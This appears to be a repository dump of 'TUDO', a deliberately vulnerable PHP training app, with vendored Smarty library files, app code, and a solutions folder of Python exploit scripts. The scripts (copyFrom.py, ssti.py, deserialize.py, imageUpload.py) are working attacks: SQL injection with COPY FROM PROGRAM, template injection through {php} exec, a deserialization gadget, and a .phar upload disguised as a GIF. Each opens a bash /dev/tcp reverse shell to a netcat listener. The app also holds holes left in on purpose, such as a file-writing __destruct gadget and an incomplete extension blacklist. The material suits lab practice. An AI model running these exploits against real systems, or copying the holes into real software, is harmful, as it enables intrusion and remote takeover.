$smarty->assign("option_values", array("NY","NE","KS","IA","OK","TX")); 20 | $smarty->assign("option_output", array("New York","Nebraska","Kansas","Iowa","Oklahoma","Texas")); 21 | $smarty->assign("option_selected", "NE"); 22 | 23 | $smarty->display('index.tpl'); 24 | 25 | ?> 26 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/function.debug.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: debug
14 | * Date: July 1, 2002
15 | * Purpose: popup debug window 16 | * @link http://smarty.php.net/manual/en/language.function.debug.php {debug} 17 | * (Smarty online manual) 18 | * @author Monte Ohrt 19 | * @version 1.0 20 | * @param array 21 | * @param Smarty 22 | * @return string output from {@link Smarty::_generate_debug_output()} 23 | */ 24 | function smarty_function_debug($params, &$smarty) 25 | { 26 | if (isset($params['output'])) { 27 | $smarty->assign('_smarty_debug_output', $params['output']); 28 | } 29 | require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php'); 30 | return smarty_core_display_debug_console(null, $smarty); 31 | } 32 | 33 | /* vim: set expandtab: */ 34 | 35 | ?> 36 | -------------------------------------------------------------------------------- /app/vendor/composer/platform_check.php: -------------------------------------------------------------------------------- 1 | = 50200)) { 8 | $issues[] = 'Your Composer dependencies require a PHP version ">= 5.2.0". You are running ' . PHP_VERSION . '.'; 9 | } 10 | 11 | if ($issues) { 12 | if (!headers_sent()) { 13 | header('HTTP/1.1 500 Internal Server Error'); 14 | } 15 | if (!ini_get('display_errors')) { 16 | if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { 17 | fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL); 18 | } elseif (!headers_sent()) { 19 | echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL; 20 | } 21 | } 22 | trigger_error( 23 | 'Composer detected issues in your platform: ' . implode(' ', $issues), 24 | E_USER_ERROR 25 | ); 26 | } 27 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/composer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "smarty/smarty", 3 | "type": "library", 4 | "description": "Smarty - the compiling PHP template engine", 5 | "keywords": ["templating"], 6 | "homepage": "http://www.smarty.net", 7 | "license": "LGPL-3.0", 8 | "authors": [ 9 | { 10 | "name": "Monte Ohrt", 11 | "email": "monte@ohrt.com" 12 | }, 13 | { 14 | "name": "Uwe Tews", 15 | "email": "uwe.tews@googlemail.com" 16 | } 17 | ], 18 | "support": { 19 | "irc": "irc://irc.freenode.org/smarty", 20 | "issues": "http://code.google.com/p/smarty-php/issues/list", 21 | "forum": "http://www.smarty.net/forums/" 22 | }, 23 | "require": { 24 | "php": ">=5.2" 25 | }, 26 | "autoload": { 27 | "classmap": [ 28 | "libs/Smarty.class.php", 29 | "libs/Smarty_Compiler.class.php", 30 | "libs/Config_File.class.php" 31 | ] 32 | }, 33 | "extra": { 34 | "branch-alias": { 35 | "dev-master": "2.6.x-dev" 36 | } 37 | } 38 | 39 | } 40 | -------------------------------------------------------------------------------- /app/vendor/composer/LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Copyright (c) Nils Adermann, Jordi Boggiano 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is furnished 9 | to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all 12 | copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | 22 | -------------------------------------------------------------------------------- /app/includes/utils.php: -------------------------------------------------------------------------------- 1 | username = $u; 15 | $this->password = $p; 16 | $this->description = $d; 17 | } 18 | } 19 | 20 | class Class_Post { 21 | public function __construct($c, $n, $p, $e, $d) { 22 | $this->code = $c; 23 | $this->name = $n; 24 | $this->professor = $p; 25 | $this->ects = $e; 26 | $this->description = $d; 27 | } 28 | } 29 | 30 | class Log { 31 | public function __construct($f, $m) { 32 | $this->f = $f; 33 | $this->m = $m; 34 | } 35 | 36 | public function __destruct() { 37 | file_put_contents($this->f, $this->m, FILE_APPEND); 38 | } 39 | } 40 | ?> -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/function.popup_init.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: popup_init
14 | * Purpose: initialize overlib 15 | * @link http://smarty.php.net/manual/en/language.function.popup.init.php {popup_init} 16 | * (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param array 19 | * @param Smarty 20 | * @return string 21 | */ 22 | function smarty_function_popup_init($params, &$smarty) 23 | { 24 | $zindex = 1000; 25 | 26 | if (!empty($params['zindex'])) { 27 | $zindex = $params['zindex']; 28 | } 29 | 30 | if (!empty($params['src'])) { 31 | return '' . "\n" 32 | . '' . "\n"; 33 | } else { 34 | $smarty->trigger_error("popup_init: missing src parameter"); 35 | } 36 | } 37 | 38 | /* vim: set expandtab: */ 39 | 40 | ?> 41 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.get_include_path.php: -------------------------------------------------------------------------------- 1 | 45 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.process_compiled_include.php: -------------------------------------------------------------------------------- 1 | _cache_including; 20 | $smarty->_cache_including = true; 21 | 22 | $_return = $params['results']; 23 | 24 | foreach ($smarty->_cache_info['cache_serials'] as $_include_file_path=>$_cache_serial) { 25 | $smarty->_include($_include_file_path, true); 26 | } 27 | 28 | foreach ($smarty->_cache_info['cache_serials'] as $_include_file_path=>$_cache_serial) { 29 | $_return = preg_replace_callback('!(\{nocache\:('.$_cache_serial.')#(\d+)\})!s', 30 | array(&$smarty, '_process_compiled_include_callback'), 31 | $_return); 32 | } 33 | $smarty->_cache_including = $_cache_including; 34 | return $_return; 35 | } 36 | 37 | ?> 38 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/function.eval.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: eval
14 | * Purpose: evaluate a template variable as a template
15 | * @link http://smarty.php.net/manual/en/language.function.eval.php {eval} 16 | * (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param array 19 | * @param Smarty 20 | */ 21 | function smarty_function_eval($params, &$smarty) 22 | { 23 | 24 | if (!isset($params['var'])) { 25 | $smarty->trigger_error("eval: missing 'var' parameter"); 26 | return; 27 | } 28 | 29 | if($params['var'] == '') { 30 | return; 31 | } 32 | 33 | $smarty->_compile_source('evaluated template', $params['var'], $_var_compiled); 34 | 35 | ob_start(); 36 | $smarty->_eval('?>' . $_var_compiled); 37 | $_contents = ob_get_contents(); 38 | ob_end_clean(); 39 | 40 | if (!empty($params['assign'])) { 41 | $smarty->assign($params['assign'], $_contents); 42 | } else { 43 | return $_contents; 44 | } 45 | } 46 | 47 | /* vim: set expandtab: */ 48 | 49 | ?> 50 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.capitalize.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: capitalize
14 | * Purpose: capitalize words in the string 15 | * @link http://smarty.php.net/manual/en/language.modifiers.php#LANGUAGE.MODIFIER.CAPITALIZE 16 | * capitalize (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param string 19 | * @return string 20 | */ 21 | function smarty_modifier_capitalize($string, $uc_digits = false) 22 | { 23 | smarty_modifier_capitalize_ucfirst(null, $uc_digits); 24 | return preg_replace_callback('!\'?\b\w(\w|\')*\b!', 'smarty_modifier_capitalize_ucfirst', $string); 25 | } 26 | 27 | function smarty_modifier_capitalize_ucfirst($string, $uc_digits = null) 28 | { 29 | static $_uc_digits = false; 30 | 31 | if(isset($uc_digits)) { 32 | $_uc_digits = $uc_digits; 33 | return; 34 | } 35 | 36 | if(substr($string[0],0,1) != "'" && !preg_match("!\d!",$string[0]) || $_uc_digits) 37 | return ucfirst($string[0]); 38 | else 39 | return $string[0]; 40 | } 41 | 42 | 43 | ?> 44 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.write_compiled_resource.php: -------------------------------------------------------------------------------- 1 | compile_dir)) { 18 | // compile_dir not writable, see if it exists 19 | if(!@is_dir($smarty->compile_dir)) { 20 | $smarty->trigger_error('the $compile_dir \'' . $smarty->compile_dir . '\' does not exist, or is not a directory.', E_USER_ERROR); 21 | return false; 22 | } 23 | $smarty->trigger_error('unable to write to $compile_dir \'' . realpath($smarty->compile_dir) . '\'. Be sure $compile_dir is writable by the web server user.', E_USER_ERROR); 24 | return false; 25 | } 26 | 27 | $_params = array('filename' => $params['compile_path'], 'contents' => $params['compiled_content'], 'create_dirs' => true); 28 | require_once(SMARTY_CORE_DIR . 'core.write_file.php'); 29 | smarty_core_write_file($_params, $smarty); 30 | return true; 31 | } 32 | 33 | /* vim: set expandtab: */ 34 | 35 | ?> 36 | -------------------------------------------------------------------------------- /solutions/unintended/copyFrom.py: -------------------------------------------------------------------------------- 1 | # TUDO Unauthenticated RCE as postgres #1 - "UDF" 2 | # William Moody 3 | # December 22, 2025 4 | 5 | import requests 6 | import argparse 7 | import subprocess 8 | import time 9 | 10 | # Parse arguments 11 | parser = argparse.ArgumentParser(description="Exploits SQLi in forgotusername.php to get RCE as postgres") 12 | parser.add_argument("target",help="Target URL") 13 | parser.add_argument("--lhost",help="Host to listen on",default="172.17.0.1") 14 | parser.add_argument("--lport",help="Port to listen on",default="9999") 15 | args = parser.parse_args() 16 | 17 | # Sanitize target URL 18 | if args.target[-1] == "/": 19 | args.target = args.target[:-1] 20 | 21 | # Start listener 22 | print("[*] Starting listener...") 23 | subprocess.Popen(["nc","-nvlp", f"{args.lport}"]) 24 | time.sleep(1) 25 | 26 | # Trigger RCE via SQLi 27 | print("[*] Triggering RCE via SQLi...") 28 | payload = "';DROP TABLE IF EXISTS command;" 29 | payload += "CREATE TABLE command(output TEXT);" 30 | payload += f"COPY command FROM PROGRAM 'echo \"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1\" | bash';" 31 | payload += "DROP TABLE IF EXISTS command;--" 32 | requests.post( 33 | f"{args.target}/forgotusername.php", 34 | data={"username":payload} 35 | ) 36 | 37 | # Keep shell open 38 | while True: 39 | pass -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/compiler.assign.php: -------------------------------------------------------------------------------- 1 | 12 | * Name: assign
13 | * Purpose: assign a value to a template variable 14 | * @link http://smarty.php.net/manual/en/language.custom.functions.php#LANGUAGE.FUNCTION.ASSIGN {assign} 15 | * (Smarty online manual) 16 | * @author Monte Ohrt (initial author) 17 | * @author messju mohr (conversion to compiler function) 18 | * @param string containing var-attribute and value-attribute 19 | * @param Smarty_Compiler 20 | */ 21 | function smarty_compiler_assign($tag_attrs, &$compiler) 22 | { 23 | $_params = $compiler->_parse_attrs($tag_attrs); 24 | 25 | if (!isset($_params['var'])) { 26 | $compiler->_syntax_error("assign: missing 'var' parameter", E_USER_WARNING); 27 | return; 28 | } 29 | 30 | if (!isset($_params['value'])) { 31 | $compiler->_syntax_error("assign: missing 'value' parameter", E_USER_WARNING); 32 | return; 33 | } 34 | 35 | return "\$this->assign({$_params['var']}, {$_params['value']});"; 36 | } 37 | 38 | /* vim: set expandtab: */ 39 | 40 | ?> 41 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/function.assign_debug_info.php: -------------------------------------------------------------------------------- 1 | 12 | * Name: assign_debug_info
13 | * Purpose: assign debug info to the template
14 | * @author Monte Ohrt 15 | * @param array unused in this plugin, this plugin uses {@link Smarty::$_config}, 16 | * {@link Smarty::$_tpl_vars} and {@link Smarty::$_smarty_debug_info} 17 | * @param Smarty 18 | */ 19 | function smarty_function_assign_debug_info($params, &$smarty) 20 | { 21 | $assigned_vars = $smarty->_tpl_vars; 22 | ksort($assigned_vars); 23 | if (@is_array($smarty->_config[0])) { 24 | $config_vars = $smarty->_config[0]; 25 | ksort($config_vars); 26 | $smarty->assign("_debug_config_keys", array_keys($config_vars)); 27 | $smarty->assign("_debug_config_vals", array_values($config_vars)); 28 | } 29 | 30 | $included_templates = $smarty->_smarty_debug_info; 31 | 32 | $smarty->assign("_debug_keys", array_keys($assigned_vars)); 33 | $smarty->assign("_debug_vals", array_values($assigned_vars)); 34 | 35 | $smarty->assign("_debug_tpls", $included_templates); 36 | } 37 | 38 | /* vim: set expandtab: */ 39 | 40 | ?> 41 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/shared.make_timestamp.php: -------------------------------------------------------------------------------- 1 | 11 | * Purpose: used by other smarty functions to make a timestamp 12 | * from a string. 13 | * @author Monte Ohrt 14 | * @param string 15 | * @return string 16 | */ 17 | function smarty_make_timestamp($string) 18 | { 19 | if(empty($string)) { 20 | // use "now": 21 | $time = time(); 22 | 23 | } elseif (preg_match('/^\d{14}$/', $string)) { 24 | // it is mysql timestamp format of YYYYMMDDHHMMSS? 25 | $time = mktime(substr($string, 8, 2),substr($string, 10, 2),substr($string, 12, 2), 26 | substr($string, 4, 2),substr($string, 6, 2),substr($string, 0, 4)); 27 | 28 | } elseif (is_numeric($string)) { 29 | // it is a numeric string, we handle it as timestamp 30 | $time = (int)$string; 31 | 32 | } else { 33 | // strtotime should handle it 34 | $time = strtotime($string); 35 | if ($time == -1 || $time === false) { 36 | // strtotime() was not able to parse $string, use "now": 37 | $time = time(); 38 | } 39 | } 40 | return $time; 41 | 42 | } 43 | 44 | /* vim: set expandtab: */ 45 | 46 | ?> 47 | -------------------------------------------------------------------------------- /solutions/rce/ssti.py: -------------------------------------------------------------------------------- 1 | # TUDO Remote Code Execution #1 - "ssti" 2 | # William Moody 3 | # December 22, 2025 4 | 5 | import requests 6 | import argparse 7 | import subprocess 8 | import time 9 | 10 | # Parse arguments 11 | parser = argparse.ArgumentParser(description="Exploits SSTI in MotD to get RCE") 12 | parser.add_argument("target",help="Target URL") 13 | parser.add_argument("cookie",help="Admin cookie") 14 | parser.add_argument("--lhost",help="Host to listen on",default="172.17.0.1") 15 | parser.add_argument("--lport",help="Port to listen on",default="9999") 16 | args = parser.parse_args() 17 | 18 | # Sanitize target URL 19 | if args.target[-1] == "/": 20 | args.target = args.target[:-1] 21 | 22 | # Set MotD to payload 23 | payload = "{php}" + f"exec(\"/bin/bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'\")" + "{/php}" 24 | r = requests.post( 25 | f"{args.target}/admin/update_motd.php", 26 | headers={"cookie":args.cookie}, 27 | data={"message":payload} 28 | ) 29 | assert "Message set!" in r.text 30 | print("[*] Set MotD to payload") 31 | 32 | # Start listener 33 | print("[*] Starting listener...") 34 | subprocess.Popen(["nc","-nvlp", f"{args.lport}"]) 35 | 36 | # Trigger payload by visiting homepage as admin (any user works) 37 | time.sleep(1) 38 | requests.get( 39 | f"{args.target}/index.php", 40 | headers={"cookie":args.cookie} 41 | ) 42 | 43 | # Keep shell open 44 | while True: 45 | pass -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.assign_smarty_interface.php: -------------------------------------------------------------------------------- 1 | 12 | * Name: assign_smarty_interface
13 | * Purpose: assign the $smarty interface variable 14 | * @param array Format: null 15 | * @param Smarty 16 | */ 17 | function smarty_core_assign_smarty_interface($params, &$smarty) 18 | { 19 | if (isset($smarty->_smarty_vars) && isset($smarty->_smarty_vars['request'])) { 20 | return; 21 | } 22 | 23 | $_globals_map = array('g' => 'HTTP_GET_VARS', 24 | 'p' => 'HTTP_POST_VARS', 25 | 'c' => 'HTTP_COOKIE_VARS', 26 | 's' => 'HTTP_SERVER_VARS', 27 | 'e' => 'HTTP_ENV_VARS'); 28 | 29 | $_smarty_vars_request = array(); 30 | 31 | foreach (preg_split('!!', strtolower($smarty->request_vars_order)) as $_c) { 32 | if (isset($_globals_map[$_c])) { 33 | $_smarty_vars_request = array_merge($_smarty_vars_request, $GLOBALS[$_globals_map[$_c]]); 34 | } 35 | } 36 | $_smarty_vars_request = @array_merge($_smarty_vars_request, $GLOBALS['HTTP_SESSION_VARS']); 37 | 38 | $smarty->_smarty_vars['request'] = $_smarty_vars_request; 39 | } 40 | 41 | /* vim: set expandtab: */ 42 | 43 | ?> 44 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.regex_replace.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: regex_replace
14 | * Purpose: regular expression search/replace 15 | * @link http://smarty.php.net/manual/en/language.modifier.regex.replace.php 16 | * regex_replace (Smarty online manual) 17 | * @author Monte Ohrt 18 | * @param string 19 | * @param string|array 20 | * @param string|array 21 | * @return string 22 | */ 23 | function smarty_modifier_regex_replace($string, $search, $replace) 24 | { 25 | if(is_array($search)) { 26 | foreach($search as $idx => $s) 27 | $search[$idx] = _smarty_regex_replace_check($s); 28 | } else { 29 | $search = _smarty_regex_replace_check($search); 30 | } 31 | 32 | return preg_replace($search, $replace, $string); 33 | } 34 | 35 | function _smarty_regex_replace_check($search) 36 | { 37 | if (($pos = strpos($search,"\0")) !== false) 38 | $search = substr($search,0,$pos); 39 | if (preg_match('!([a-zA-Z\s]+)$!s', $search, $match) && (strpos($match[1], 'e') !== false)) { 40 | /* remove eval-modifier from $search */ 41 | $search = substr($search, 0, -strlen($match[1])) . preg_replace('![e\s]+!', '', $match[1]); 42 | } 43 | return $search; 44 | } 45 | 46 | /* vim: set expandtab: */ 47 | 48 | ?> 49 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.is_trusted.php: -------------------------------------------------------------------------------- 1 | trusted_dir)) { 23 | $_rp = realpath($params['resource_name']); 24 | foreach ((array)$smarty->trusted_dir as $curr_dir) { 25 | if (!empty($curr_dir) && is_readable ($curr_dir)) { 26 | $_cd = realpath($curr_dir); 27 | if (strncmp($_rp, $_cd, strlen($_cd)) == 0 28 | && substr($_rp, strlen($_cd), 1) == DIRECTORY_SEPARATOR ) { 29 | $_smarty_trusted = true; 30 | break; 31 | } 32 | } 33 | } 34 | } 35 | 36 | } else { 37 | // resource is not on local file system 38 | $_smarty_trusted = call_user_func_array($smarty->_plugins['resource'][$params['resource_type']][0][3], 39 | array($params['resource_name'], $smarty)); 40 | } 41 | 42 | return $_smarty_trusted; 43 | } 44 | 45 | /* vim: set expandtab: */ 46 | 47 | ?> 48 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/INSTALL: -------------------------------------------------------------------------------- 1 | REQUIREMENTS: 2 | 3 | Smarty requires PHP 4.0.6 or later. 4 | See the on-line documentation for complete install instructions. 5 | 6 | INSTALLATION (quick): 7 | 8 | * copy the files under the libs/ directory to a directory that is in your PHP 9 | include_path, or set the SMARTY_DIR constant and put them in this directory. 10 | (if you upgrade from versions before 2.5.0 be aware that up to Smarty 2.4.2 11 | all necessary files where in the distribution's root directory, but are now 12 | in libs/.) 13 | 14 | * for each application using Smarty, create a "templates", "configs", and a 15 | "templates_c" directory, be sure to set the appropriate directory settings in 16 | Smarty for them. If they are located in the same directory as your 17 | application, they shouldn't need to be modified. Be sure the "templates_c" 18 | directory is writable by your web server user (usually nobody). chown 19 | nobody:nobody templates_c; chmod 700 templates_c You can also chmod 777 this 20 | directory, but be aware of security issues for multi-user systems. If you are 21 | using Smarty's built-in caching, create a "cache" directory and also chown 22 | nobody:nobody. 23 | 24 | * setup your php and template files. A good working example is in the on-line 25 | documentation. 26 | 27 | * TECHNICAL NOTE: If you do not have access to the php.ini file, you can change 28 | non-server settings (such as your include_path) with the ini_set() command. 29 | example: ini_set("include_path",".:/usr/local/lib/php"); 30 | -------------------------------------------------------------------------------- /solutions/rce/deserialize.py: -------------------------------------------------------------------------------- 1 | # TUDO Remote Code Execution #3 - "deserialize" 2 | # William Moody 3 | # December 22, 2025 4 | 5 | import requests 6 | import argparse 7 | import subprocess 8 | import time 9 | import random 10 | import string 11 | 12 | # Parse arguments 13 | parser = argparse.ArgumentParser(description="Exploits deserialization in user import to get RCE") 14 | parser.add_argument("target",help="Target URL") 15 | parser.add_argument("cookie",help="Admin cookie") 16 | parser.add_argument("--lhost",help="Host to listen on",default="172.17.0.1") 17 | parser.add_argument("--lport",help="Port to listen on",default="9999") 18 | args = parser.parse_args() 19 | 20 | # Sanitize target URL 21 | if args.target[-1] == "/": 22 | args.target = args.target[:-1] 23 | 24 | # Start listener 25 | print("[*] Starting listener...") 26 | subprocess.Popen(["nc","-nvlp", f"{args.lport}"]) 27 | time.sleep(1) 28 | 29 | # Generate serialized payload, and import user (payload) 30 | random_filename = "".join(random.choice(string.ascii_letters) for i in range(8)) + ".php" 31 | payload = subprocess.check_output(["php", "rce/generateSerializedPayload.php", random_filename, args.lhost, args.lport]).decode() 32 | requests.post( 33 | f"{args.target}/admin/import_user.php", 34 | headers={"cookie":args.cookie}, 35 | data={"userobj":payload} 36 | ) 37 | print("[*] Imported user/payload") 38 | 39 | # Trigger payload 40 | print(f"[*] Triggering payload ({random_filename})...") 41 | requests.get(f"{args.target}/{random_filename}") 42 | 43 | # Keep shell open 44 | while True: 45 | pass -------------------------------------------------------------------------------- /solutions/rce/imageUpload.py: -------------------------------------------------------------------------------- 1 | # TUDO Remote Code Execution #2 - "imageUpload" 2 | # William Moody 3 | # December 22, 2025 4 | 5 | import requests 6 | import argparse 7 | import subprocess 8 | import random 9 | import string 10 | 11 | # Parse arguments 12 | parser = argparse.ArgumentParser(description="Exploits image upload feature to get RCE") 13 | parser.add_argument("target",help="Target URL") 14 | parser.add_argument("cookie",help="Admin cookie") 15 | parser.add_argument("--lhost",help="Host to listen on",default="172.17.0.1") 16 | parser.add_argument("--lport",help="Port to listen on",default="9999") 17 | args = parser.parse_args() 18 | 19 | # Sanitize target URL 20 | if args.target[-1] == "/": 21 | args.target = args.target[:-1] 22 | 23 | # Upload .phar "image" 24 | random_filename = "".join(random.choice(string.ascii_letters) for i in range(8)) + ".phar" 25 | php_payload = f"exec(\"/bin/bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'\");" 26 | image_payload = f"GIF87a" 27 | r = requests.post( 28 | f"{args.target}/admin/upload_image.php", 29 | files={"title":(None, "POC"), "image":(random_filename, image_payload, "image/gif")}, 30 | headers={"cookie":args.cookie} 31 | ) 32 | print(f"[*] Uploaded image/payload ({random_filename})") 33 | 34 | # Start listener 35 | print("[*] Starting listener...") 36 | subprocess.Popen(["nc","-nvlp", f"{args.lport}"]) 37 | 38 | # Trigger payload by visiting the image/payload 39 | requests.get(f"{args.target}/images/{random_filename}") 40 | 41 | # Keep shell open 42 | while True: 43 | pass -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/plugins/modifier.truncate.php: -------------------------------------------------------------------------------- 1 | 13 | * Name: truncate
14 | * Purpose: Truncate a string to a certain length if necessary, 15 | * optionally splitting in the middle of a word, and 16 | * appending the $etc string or inserting $etc into the middle. 17 | * @link http://smarty.php.net/manual/en/language.modifier.truncate.php 18 | * truncate (Smarty online manual) 19 | * @author Monte Ohrt 20 | * @param string 21 | * @param integer 22 | * @param string 23 | * @param boolean 24 | * @param boolean 25 | * @return string 26 | */ 27 | function smarty_modifier_truncate($string, $length = 80, $etc = '...', 28 | $break_words = false, $middle = false) 29 | { 30 | if ($length == 0) 31 | return ''; 32 | 33 | if (strlen($string) > $length) { 34 | $length -= min($length, strlen($etc)); 35 | if (!$break_words && !$middle) { 36 | $string = preg_replace('/\s+?(\S+)?$/', '', substr($string, 0, $length+1)); 37 | } 38 | if(!$middle) { 39 | return substr($string, 0, $length) . $etc; 40 | } else { 41 | return substr($string, 0, $length/2) . $etc . substr($string, -$length/2); 42 | } 43 | } else { 44 | return $string; 45 | } 46 | } 47 | 48 | /* vim: set expandtab: */ 49 | 50 | ?> 51 | -------------------------------------------------------------------------------- /app/style/style.css: -------------------------------------------------------------------------------- 1 | body { 2 | background:#eee; 3 | margin:0; 4 | } 5 | 6 | h4 { 7 | color: #004477; 8 | text-align:center; 9 | font-size:18px; 10 | } 11 | 12 | #content { 13 | padding:8px; 14 | } 15 | 16 | #index_content { 17 | background:#ddd; 18 | -webkit-box-shadow: 6px 6px 0px 0px rgba(0,0,0,0.3); 19 | -moz-box-shadow: 6px 6px 0px 0px rgba(0,0,0,0.3); 20 | box-shadow: 6px 6px 0px 0px rgba(0,0,0,0.3); 21 | width:1200px; 22 | margin:auto; 23 | padding:8px; 24 | } 25 | 26 | #index_content table { 27 | margin:auto; 28 | } 29 | 30 | #header { 31 | color:white; 32 | padding:8px; 33 | background:#006699; 34 | height:30px; 35 | line-height:30px; 36 | } 37 | 38 | a:visited { 39 | color: rgb(21, 167, 211); 40 | } 41 | 42 | table td { 43 | width: 200px; 44 | } 45 | 46 | table tr:nth-child(even) { 47 | background-color:#ddd; 48 | } 49 | 50 | table tr:nth-child(odd) { 51 | background-color:#fff; 52 | } 53 | 54 | figure { 55 | display:inline-block; 56 | background:#fff; 57 | text-align:center; 58 | } 59 | 60 | figure img { 61 | max-width:200px; 62 | } 63 | 64 | .center_div { 65 | margin:auto; 66 | width:1000px; 67 | padding:8px; 68 | background:#ddd; 69 | } 70 | 71 | .center_form { 72 | margin:auto; 73 | width:800px; 74 | padding:8px; 75 | background:#ddd; 76 | -webkit-box-shadow: 6px 6px 0px 0px rgba(0,0,0,0.3); 77 | -moz-box-shadow: 6px 6px 0px 0px rgba(0,0,0,0.3); 78 | box-shadow: 6px 6px 0px 0px rgba(0,0,0,0.3); 79 | } 80 | 81 | hr { 82 | border:1px solid #999; 83 | } -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.rmdir.php: -------------------------------------------------------------------------------- 1 | keep root) 10 | * WARNING: no tests, it will try to remove what you tell it! 11 | * 12 | * @param string $dirname 13 | * @param integer $level 14 | * @param integer $exp_time 15 | * @return boolean 16 | */ 17 | 18 | // $dirname, $level = 1, $exp_time = null 19 | 20 | function smarty_core_rmdir($params, &$smarty) 21 | { 22 | if(!isset($params['level'])) { $params['level'] = 1; } 23 | if(!isset($params['exp_time'])) { $params['exp_time'] = null; } 24 | 25 | if($_handle = @opendir($params['dirname'])) { 26 | 27 | while (false !== ($_entry = readdir($_handle))) { 28 | if ($_entry != '.' && $_entry != '..') { 29 | if (@is_dir($params['dirname'] . DIRECTORY_SEPARATOR . $_entry)) { 30 | $_params = array( 31 | 'dirname' => $params['dirname'] . DIRECTORY_SEPARATOR . $_entry, 32 | 'level' => $params['level'] + 1, 33 | 'exp_time' => $params['exp_time'] 34 | ); 35 | smarty_core_rmdir($_params, $smarty); 36 | } 37 | else { 38 | $smarty->_unlink($params['dirname'] . DIRECTORY_SEPARATOR . $_entry, $params['exp_time']); 39 | } 40 | } 41 | } 42 | closedir($_handle); 43 | } 44 | 45 | if ($params['level']) { 46 | return @rmdir($params['dirname']); 47 | } 48 | return (bool)$_handle; 49 | 50 | } 51 | 52 | /* vim: set expandtab: */ 53 | 54 | ?> 55 | -------------------------------------------------------------------------------- /app/vendor/smarty/smarty/libs/internals/core.write_file.php: -------------------------------------------------------------------------------- 1 | $_dirname); 22 | require_once(SMARTY_CORE_DIR . 'core.create_dir_structure.php'); 23 | smarty_core_create_dir_structure($_params, $smarty); 24 | } 25 | 26 | // write to tmp file, then rename it to avoid file locking race condition 27 | $_tmp_file = tempnam($_dirname, 'wrt'); 28 | 29 | if (!($fd = @fopen($_tmp_file, 'wb'))) { 30 | $_tmp_file = $_dirname . DIRECTORY_SEPARATOR . uniqid('wrt'); 31 | if (!($fd = @fopen($_tmp_file, 'wb'))) { 32 | $smarty->trigger_error("problem writing temporary file '$_tmp_file'"); 33 | return false; 34 | } 35 | } 36 | 37 | fwrite($fd, $params['contents']); 38 | fclose($fd); 39 | 40 | if (DIRECTORY_SEPARATOR == '\\' || !@rename($_tmp_file, $params['filename'])) { 41 | // On platforms and filesystems that cannot overwrite with rename() 42 | // delete the file before renaming it -- because windows always suffers 43 | // this, it is short-circuited to avoid the initial rename() attempt 44 | @unlink($params['filename']); 45 | @rename($_tmp_file, $params['filename']); 46 | } 47 | @chmod($params['filename'], $smarty->_file_perms); 48 | 49 | return true; 50 | } 51 | 52 | /* vim: set expandtab: */ 53 | 54 | ?> -------------------------------------------------------------------------------- /app/admin/upload_image.php: -------------------------------------------------------------------------------- 1 | '; 10 | } 11 | 12 | $illegal_ext = Array("php","pht","phtm","phtml","phpt","pgif","phps","php2","php3","php4","php5","php6","php7","php16","inc"); 13 | $file_ext = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION); 14 | if (in_array($file_ext, $illegal_ext)) { 15 | $validfile = false; 16 | echo 'Illegal file extension
'; 17 | } 18 | 19 | $allowed_mime = Array("image/gif","image/png","image/jpeg"); 20 | $file_mime = $_FILES['image']['type']; 21 | if (!in_array($file_mime, $allowed_mime)) { 22 | $validfile = false; 23 | echo 'Illegal mime type
